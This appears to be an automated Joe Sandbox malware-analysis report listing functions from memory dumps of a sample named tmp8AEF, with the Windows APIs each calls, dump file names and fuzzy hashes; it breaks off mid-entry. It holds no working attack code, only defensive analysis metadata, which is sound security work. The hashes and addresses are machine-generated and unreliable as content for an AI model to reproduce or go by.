Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 8f9731ccc05e5e98dab1658fcebd939f282d40e9b6d5561daf5942648b351509
Instruction ID: ba39bdbebd225eb41e4cc9cfa59b25c72f0ec73cf9738557681df28926829f2d
Opcode Fuzzy Hash: 8f9731ccc05e5e98dab1658fcebd939f282d40e9b6d5561daf5942648b351509
Instruction Fuzzy Hash: F4515A72F082219AFB14EF65A8656BCB7B1BB1837BF901175DD1D42AE4DF38A801C710

Function 00007FF8B8316110 Relevance: 6.1, APIs: 4, Instructions: 129COMMON

Download Yara Rule

APIs

__security_init_cookie.LIBCMT ref: 00007FF8B8316138
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF8B831616F
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF8B83161C1

Memory Dump Source

Source File: 00000009.00000002.2285875889.00007FF8B8301000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8B8300000, based on PE: true

Associated: 00000009.00000002.2285844343.00007FF8B8300000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2286113655.00007FF8B83B5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2286190303.00007FF8B83EF000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2286212541.00007FF8B83F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8b8300000_tmp8AEF.jbxd

Similarity

API ID: ErrorLast$__security_init_cookie
String ID:
API String ID: 2222513578-0
Opcode ID: 51a1c68c6362424b61c1acff22cfa8e2821de0ade73df4afb968f174aaff75c0
Instruction ID: c2ca61d711092ae3e39f99b9fd34e8f8a558f289c1622a4ab68342770e3c2706
Opcode Fuzzy Hash: 51a1c68c6362424b61c1acff22cfa8e2821de0ade73df4afb968f174aaff75c0
Instruction Fuzzy Hash: 12515D20E0C64342FA9977EDD95517A51919F4DBE0F1C4638DB2E06AD7EF2DB8838708

Function 00007FF7CA7A4A8C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF7CA7A4ABF
GetFileInformationByHandle.KERNELBASE ref: 00007FF7CA7A4B21
GetLastError.KERNEL32 ref: 00007FF7CA7A4BB2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CA7A49C4), ref: 00007FF7CA7A4BFE

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 44011dbc5c196255e5d063134f532b0674048b95aab6dcf0e225215e54208c6d
Instruction ID: f2bc9441cd62ff9c61be3ef5be9b2931b70133ac04ead9a66900763bdfeeb424
Opcode Fuzzy Hash: 44011dbc5c196255e5d063134f532b0674048b95aab6dcf0e225215e54208c6d
Instruction Fuzzy Hash: 6251A023A086419AFB14EF72E4603BDA3A1FB4CB69F609075DE0D47688DF39D8518760

Function 00007FF7CA7A4938 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A4965
CreateFileW.KERNELBASE ref: 00007FF7CA7A49A4
CloseHandle.KERNEL32 ref: 00007FF7CA7A49D9

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: c9c3dc0ca6ff3025a18f37416ed5252826b5e2a6b8668c561ba6737191909872
Instruction ID: 4273bd0ac43a22d368c38be3f924296c482fcc2729f9105fbe6be4fc4d1f0360
Opcode Fuzzy Hash: c9c3dc0ca6ff3025a18f37416ed5252826b5e2a6b8668c561ba6737191909872
Instruction Fuzzy Hash: 7E41A522D1878193F710AF62A520379B260FBA8775F50A374DA5C03AD5DF7DA9F08714

Function 00007FF7CA79BF5C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CA79C12C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7CA79C140

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7CA79BF80
__scrt_release_startup_lock.LIBCMT ref: 00007FF7CA79BFEE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7CA79C041

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction ID: 49b5354147e262e17c0615aeac76db803852de5a14d1621bfbd34021169d506b
Opcode Fuzzy Hash: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction Fuzzy Hash: BE313F11A4C24249FE54BF7BB435BB99291BF4D3A6FC414B6E90E472D3DE2DA8058231

Function 00007FF7CA7A8D48 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7CA7A8D44), ref: 00007FF7CA7A8D59
TerminateProcess.KERNEL32(?,?,?,00007FF7CA7A8D44), ref: 00007FF7CA7A8D64
ExitProcess.KERNEL32 ref: 00007FF7CA7A8D73

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction ID: b77186e68ffb366b50de70177d1347910301ef35d12d7028ab6fa50a907817e1
Opcode Fuzzy Hash: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction Fuzzy Hash: E2D06750F1870A9AFA543F7278A957992557FAC722B9024B8DC4A0A393CD2CA80E4660

Function 00007FF8B8316FD0 Relevance: 3.8, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF8B8316FF7
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF8B831703C
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF8B831708E

Memory Dump Source

Source File: 00000009.00000002.2285875889.00007FF8B8301000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8B8300000, based on PE: true

Associated: 00000009.00000002.2285844343.00007FF8B8300000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2286113655.00007FF8B83B5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2286190303.00007FF8B83EF000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2286212541.00007FF8B83F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8b8300000_tmp8AEF.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 6b4fdf962c8d231f1478f013950a70e71442974e5fb203732b388d25e7008839
Instruction ID: dccc5a93fb1edc8eaea0c3a3a5aa49b2732faf5f99b8b8419e6084982f1ec758
Opcode Fuzzy Hash: 6b4fdf962c8d231f1478f013950a70e71442974e5fb203732b388d25e7008839
Instruction Fuzzy Hash: 3A215020F0D64382FA59B77D99511BA51515F4CFE0F1C0634E72E066EAEF2EB8435318

Function 00007FF7CA79F45C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA79F4A0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA79F597

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8760811a46c694da2ce7fcb713cb8132a6e7826c56b7b9f56bdeeaa18c726bba
Instruction ID: a4dfc8829e693f07a7c0064f1de45b46ac2f21e51590c91da7984f03d357ae46
Opcode Fuzzy Hash: 8760811a46c694da2ce7fcb713cb8132a6e7826c56b7b9f56bdeeaa18c726bba
Instruction Fuzzy Hash: 5751E562B0924246FA24BF37B420A7EA291BF4CBB6F948676DD6C477D5CF3CD4008620

Function 00007FF7CA7AB444 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7CA7AB5DD), ref: 00007FF7CA7AB490
GetLastError.KERNEL32(?,?,?,?,?,00007FF7CA7AB5DD), ref: 00007FF7CA7AB49A

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction ID: aa0f102f93082b806c7fb1aba727ece70a49d67cc56de007afebda20d1280aae
Opcode Fuzzy Hash: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction Fuzzy Hash: 14110162A08B8181EA10AF26B850179B361FB88BF5F945371EE7D0B7E9CF3CD8508700

Function 00007FF7CA7A4C34 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CA7A4B49), ref: 00007FF7CA7A4C67
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CA7A4B49), ref: 00007FF7CA7A4C7D

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 5814b874014510fcf00941fef2b2171ed045486f006683dc2ae422325307d6da
Instruction ID: 06bd9fb3de4e1be26035bab8c7ab6140a8575f6e91a5777a26518b3a00bac9b8
Opcode Fuzzy Hash: 5814b874014510fcf00941fef2b2171ed045486f006683dc2ae422325307d6da
Instruction Fuzzy Hash: B911C43260C60291FB246F12B42013EF3A0FB89776F901235FAAD419D4EF2DD460CB10

Function 00007FF7CA7A9E68 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF7CA7A9CE5,?,?,00000000,00007FF7CA7A9D9A), ref: 00007FF7CA7A9ED6
GetLastError.KERNEL32(?,?,?,00007FF7CA7A9CE5,?,?,00000000,00007FF7CA7A9D9A), ref: 00007FF7CA7A9EE0

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction ID: eeccf3506636d1aa6ffe31bfde24f3d782660f239bd6952502b8915579e3b420
Opcode Fuzzy Hash: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction Fuzzy Hash: 1D219512F1C68261FB607FA6B460379A2917F8C7B2F8462B5D92D476D2CE6CA8504320

Function 00007FF8B830DCF0 Relevance: 2.6, APIs: 2, Instructions: 50memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF8B83134C9,?,?,?,00007FF8B83539B1,?,?,?,?,00007FF8B83178EA,?,?,?), ref: 00007FF8B830DD38

Memory Dump Source

Source File: 00000009.00000002.2285875889.00007FF8B8301000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8B8300000, based on PE: true

Associated: 00000009.00000002.2285844343.00007FF8B8300000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2286113655.00007FF8B83B5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2286190303.00007FF8B83EF000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2286212541.00007FF8B83F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8b8300000_tmp8AEF.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 27d2ecc8a82d26b6ee3a94a029cf6d96569e999f53c42dbd91e108040fe652f2
Instruction ID: efeb553a2444813e880bdb101838b2b1a0573efb175e40619d1ddb9187c13cbc
Opcode Fuzzy Hash: 27d2ecc8a82d26b6ee3a94a029cf6d96569e999f53c42dbd91e108040fe652f2
Instruction Fuzzy Hash: D1118C20A1974685FA549BAD98603B9A390AF8CFD0F0C5234DB1E8B3D5DF2DF4528748

Function 00007FF7CA7AB1BC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7AB1E4

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction ID: f715749b8c7a1d3fb6fd424840336543f19b0d17edcee2154132483546f41447
Opcode Fuzzy Hash: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction Fuzzy Hash: FF41B23290820197FA24AE56F56117DF3A0FB997A2F942171DA8A836D0CF3CED42C770

Function 00007FF7CA7976A0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7CA79774A

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: f20fc83f25fe87b3ab6b50fb916de805a51e6475b521f36dfac30c7e4f2eb634
Instruction ID: 83d94fddd9bca09ea392569875febb3714e44b9349a0010cfdeae15aad2ce144
Opcode Fuzzy Hash: f20fc83f25fe87b3ab6b50fb916de805a51e6475b521f36dfac30c7e4f2eb634
Instruction Fuzzy Hash: 75219121B0825146FA14AE37B924BBAE741BF4DBE5FC844B2DE0D07782CE3DE441C620

Function 00007FF7CA7AAC4C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7AACD2

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 41d876f7d863186cb99ffae5cfc70294694b7844598519de76c307bd1dc1648a
Instruction ID: ea2fc463f67cc339a2a8a69ec6218b864cd8f2b9d33d69960605b7369e786df0
Opcode Fuzzy Hash: 41d876f7d863186cb99ffae5cfc70294694b7844598519de76c307bd1dc1648a
Instruction Fuzzy Hash: 5431C022E18646A2FF01BF16A86037DA690BB58B73F9121B5DA1D173D2CE7DEC518330

Function 00007FF7CA7A8C79 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7CA7A8CA7

Part of subcall function 00007FF7CA7A8DA0: GetModuleHandleExW.KERNEL32 ref: 00007FF7CA7A8DC5
Part of subcall function 00007FF7CA7A8DA0: GetProcAddress.KERNEL32 ref: 00007FF7CA7A8DDB
Part of subcall function 00007FF7CA7A8DA0: FreeLibrary.KERNEL32 ref: 00007FF7CA7A8E02

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction ID: 5b10f424c690cd173b8eadd34acf8b62e71e144747b41836cb77f286a3895f9a
Opcode Fuzzy Hash: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction Fuzzy Hash: 18219F33A15705D9FB24AF65E4542EC73A0FB48329F8456BAD62C06AC5DF38D846CB60

Function 00007FF7CA7A52A4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A5209

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction ID: e90d3fcdacc8c877a378829552b2ceb920b5f794e91d03d7896f9eb9caf1ca3f
Opcode Fuzzy Hash: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction Fuzzy Hash: CD11C622A1D28161FA60BF42F42017EE2A4BF59BA1FD45071EB4D57AC6CF3DDC508760

Function 00007FF7CA7B5664 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B5687

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction ID: 60d22ca11c2f3b52770c28cc929c60fbed8105e8c58c3c1dcef64521ffc8feb9
Opcode Fuzzy Hash: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction Fuzzy Hash: B121C87261874186EB61AF19F460379B3A0FB98B65F944234DA5E476D5DF3CD8008B10

Function 00007FF7CA79F6DC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA79F730

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
